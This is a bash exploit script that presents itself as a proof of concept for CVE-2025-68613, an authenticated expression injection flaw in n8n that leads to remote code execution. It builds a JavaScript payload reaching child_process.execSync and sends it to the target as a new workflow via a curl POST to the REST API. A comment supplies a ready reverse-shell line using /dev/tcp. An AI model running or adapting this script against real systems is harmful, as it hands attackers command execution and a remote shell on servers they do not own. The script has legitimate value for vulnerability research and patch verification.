#!/bin/bash
# Exploit Title: n8n Authenticated Expression Injection RCE
# Date: 2025-12-25
# Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# GitHub: https://github.com/mbanyamer
# Vendor Homepage: https://n8n.io
# Software Link: https://github.com/n8n-io/n8n
# Version: >=0.211.0 <1.120.4
# Tested on: n8n 1.119.3 (Docker)
# CVE : CVE-2025-68613

TARGET="http://localhost:5678"                  # ← Change to your target
API_KEY="your_n8n_api_key_here"                 # ← Insert valid API Key (or use Basic Auth / session)
CMD="id"                                        # ← Test command
# Example reverse shell: "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"

PAYLOAD="{{ (function(){ return this.process.mainModule.require('child_process').execSync('${CMD}').toString() })() }}"

echo "[*] Sending malicious workflow to ${TARGET}"

curl -s -X POST "${TARGET}/rest/workflows" \
  -H "Content-Type: application/json" \
  -H "X-N8N-API-KEY: ${API_KEY}" \
  -d '{
    "name": "CVE-2025-68613 PoC",
    "active": false,
    "nodes": [
      {
        "parameters": {
          "values": {
            "string": [
              {
                "name": "result",
                "value": "'${PAYLOAD}'"
              }
            ]
          }
        },
        "name": "Exploit",
        "type": "n8n-nodes-base.set",
        "typeVersion": 1,
        "position": [460, 300]
      }
    ],
    "connections": {}
  }'

echo -e "\n[!] Check n8n logs or the output node in the created workflow for command result\n"